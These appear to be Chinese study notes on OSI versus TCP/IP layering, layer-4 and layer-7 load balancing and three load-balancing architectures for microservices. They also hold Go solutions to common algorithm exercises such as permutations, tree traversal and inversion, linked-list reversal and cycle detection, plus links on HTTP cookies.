看完 TCP/IP 协议栈,你可能要问了,“它只有四层,那常说的七层怎么没见到呢?”
别着急,这就是今天要说的第二个网络分层模型:OSI,全称是“开放式系统互联通信参考模型”(Open System Interconnection Reference Model)。TCP/IP 发明于 1970 年代,当时除了它还有很多其他的网络协议,整个网络世界比较混乱。
这个时候国际标准组织(ISO)注意到了这种现象,感觉“野路子”太多,就想要来个“大一统”。于是设计出了一个新的网络分层模型,想用这个新框架来统一既存的各种网络协议。OSI 模型分成了七层,部分层次与 TCP/IP 很像,从下到上分别是:
第一层:物理层,网络的物理形式,例如电缆、光纤、网卡、集线器等等;
第二层:数据链路层,它基本相当于 TCP/IP 的链接层;
第三层:网络层,相当于 TCP/IP 里的网际层;
第四层:传输层,相当于 TCP/IP 里的传输层;
第五层:会话层,维护网络中的连接状态,即保持会话和同步;
第六层:表示层,把数据转换为合适、可理解的语法和语义;
第七层:应用层,面向具体的应用传输数据。至此,我们常说的“四层”“七层”就出现了。
两个分层模型的映射关系
第一层:物理层,TCP/IP 里无对应;
第二层:数据链路层,对应 TCP/IP 的链接层;
第三层:网络层,对应 TCP/IP 的网际层;
第四层:传输层,对应 TCP/IP 的传输层;
第五、六、七层:统一对应到 TCP/IP 的应用层。
所以你看,这就是“理想与现实”之间的矛盾。理想很美好,有七层,但现实很残酷,只有四层,“多余”的五层、六层就这样“消失”了。
但这也有一定的实际原因。
OSI 的分层模型在四层以上分的太细,而 TCP/IP 实际应用时的会话管理、编码转换、压缩等和具体应用经常联系的很紧密,很难分开。例如,HTTP 协议就同时包含了连接管理和数据格式定义。到这里,你应该能够明白一开始那些“某某层”的概念了。
所谓的“四层负载均衡”就是指工作在传输层上,基于 TCP/IP 协议的特性,例如 IP 地址、端口号等实现对后端服务器的负载均衡。
所谓的“七层负载均衡”就是指工作在应用层上,看到的是 HTTP 协议,解析 HTTP 报文里的 URI、主机名、资源类型等数据,再用适当的策略转发给后端服务器。
常用负载均衡模式
1. 集中式LB(Proxy Model)
在服务消费者和服务提供者之间有一个独立的LB,通常是专门的硬件设备如 F5,或者基于软件如 LVS,HAproxy等实现。LB上有所有服务的地址映射表,通常由运维配置注册,当服务消费方调用某个目标服务时,它向LB发起请求,由LB以某种策略,比如轮询(Round-Robin)做负载均衡后将请求转发到目标服务。LB一般具备健康检查能力,能自动摘除不健康的服务实例。 该方案主要问题:
- 单点问题,所有服务调用流量都经过LB,当服务数量和调用量大的时候,LB容易成为瓶颈,且一旦LB发生故障影响整个系统;
- 服务消费方、提供方之间增加了一级,有一定性能开销。
2. 进程内LB(Balancing-aware Client)
针对第一个方案的不足,此方案将LB的功能集成到服务消费方进程里,也被称为软负载或者客户端负载方案。服务提供方启动时,首先将服务地址注册到服务注册表,同时定期报心跳到服务注册表以表明服务的存活状态,相当于健康检查,服务消费方要访问某个服务时,它通过内置的LB组件向服务注册表查询,同时缓存并定期刷新目标服务地址列表,然后以某种负载均衡策略选择一个目标服务地址,最后向目标服务发起请求。LB和服务发现能力被分散到每一个服务消费者的进程内部,同时服务消费方和服务提供方之间是直接调用,没有额外开销,性能比较好。该方案主要问题:
- 开发成本,该方案将服务调用方集成到客户端的进程里头,如果有多种不同的语言栈,就要配合开发多种不同的客户端,有一定的研发和维护成本;
- 另外生产环境中,后续如果要对客户库进行升级,势必要求服务调用方修改代码并重新发布,升级较复杂。
3. 独立 LB 进程(External Load Balancing Service)
该方案是针对第二种方案的不足而提出的一种折中方案,原理和第二种方案基本类似。
不同之处是将LB和服务发现功能从进程内移出来,变成主机上的一个独立进程。主机上的一个或者多个服务要访问目标服务时,他们都通过同一主机上的独立LB进程做服务发现和负载均衡。该方案也是一种分布式方案没有单点问题,一个LB进程挂了只影响该主机上的服务调用方,服务调用方和LB之间是进程内调用性能好,同时该方案还简化了服务调用方,不需要为不同语言开发客户库,LB的升级不需要服务调用方改代码。
该方案主要问题:部署较复杂,环节多,出错调试排查问题不方便。
负载均衡实现
根据gRPC官方提供的设计思路,基于进程内LB方案(即第2个案,阿里开源的服务框架 Dubbo 也是采用类似机制),结合分布式一致的组件(如Zookeeper、Consul、Etcd),可找到gRPC服务发现和负载均衡的可行解决方案。
算法
全排列
func AllSort(arr []string) (res [][]string) {
n := len(arr)
if n <= 1 {
return [][]string{arr}
}
for i := 0; i < n; i++ {
header := arr[i]
newArr := make([]string,0)
newArr = append(newArr, arr[0:i]...)
newArr = append(newArr, arr[i+1:n]...)
inRes := AllSort(newArr)
for _, v := range inRes {
hearArr := []string{header}
hearArr = append(hearArr, v...)
res = append(res, hearArr)
}
}
return res
}
func main() {
arr := []string{"a", "b", "c"}
result := AllSort(arr)
fmt.Println(result)
}
中序遍历
type Tree struct {
Data interface{}
Left *Tree
Right *Tree
}
var res []interface{}
func (this *Tree) inOrder() {
if this.Left != nil {
this.Left.inOrder()
}
if this.Data != nil {
res = append(res, this.Data)
}
if this.Right != nil {
this.Right.inOrder()
}
}
镜像树
func MirrorTree(tree Tree) bool {
if tree.Data == nil {
return true
}
return MirrorTreeCore(tree.Left, tree.Right)
}
func MirrorTreeCore(left, right *Tree) bool {
if left == nil {
return right == nil
}
if right == nil {
return false
}
if left.Data != right.Data {
return false
}
return MirrorTreeCore(left.Left, right.Right) && MirrorTreeCore(left.Right, right.Left)
}
链表反转:
// 递归实现:利用递归调用栈,递归循环后本身就是倒序输出,仅需要把倒序的的每个初始化成链表即可。
var newLinked *LinkedNode // 反转后新链表的头节点
var endLinked *LinkedNode // 新链表的尾节点, 也可以理解为新链表双指针:newLinked=>头指针,endLinked=>尾指针
func rev(node *LinkedNode) {
if node == nil {
return
}
if node.nextNode == nil {
// 最后一个元素,先初始化newLinked头节点
endLinked = node
newLinked = endLinked
return
}
// 传入的是当前节点的下一个节点
rev(node.nextNode)
// 回溯
// node为倒数第二个节点开始
endLinked.nextNode = node
// 指针后移
endLinked = endLinked.nextNode
// 最后节点置空,防止循环链表产生
endLinked.nextNode = nil
}
反转二叉树
type Tree struct {
Data interface{}
Left *Tree
Right *Tree
}
func invertTree(root *Tree) {
if root == nil {
return
}
root.Left, root.Right = root.Right, root.Left
invertTree(root.Left)
invertTree(root.Right)
}
链表有环
/**
* Definition for singly-linked list.
* type ListNode struct {
* Val int
* Next *ListNode
* }
*/
func hasCycle(head *ListNode) bool {
l := head
if l == nil || l.Next == nil {
return false
}
slow := l
fast := l.Next.Next
for fast != nil && fast.Next != nil {
if slow == fast {
return true
}
slow = slow.Next
fast = fast.Next.Next
}
return false
}
cookie
透视HTTP协议cookie部分:http://gk.link/a/104kE
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Cookies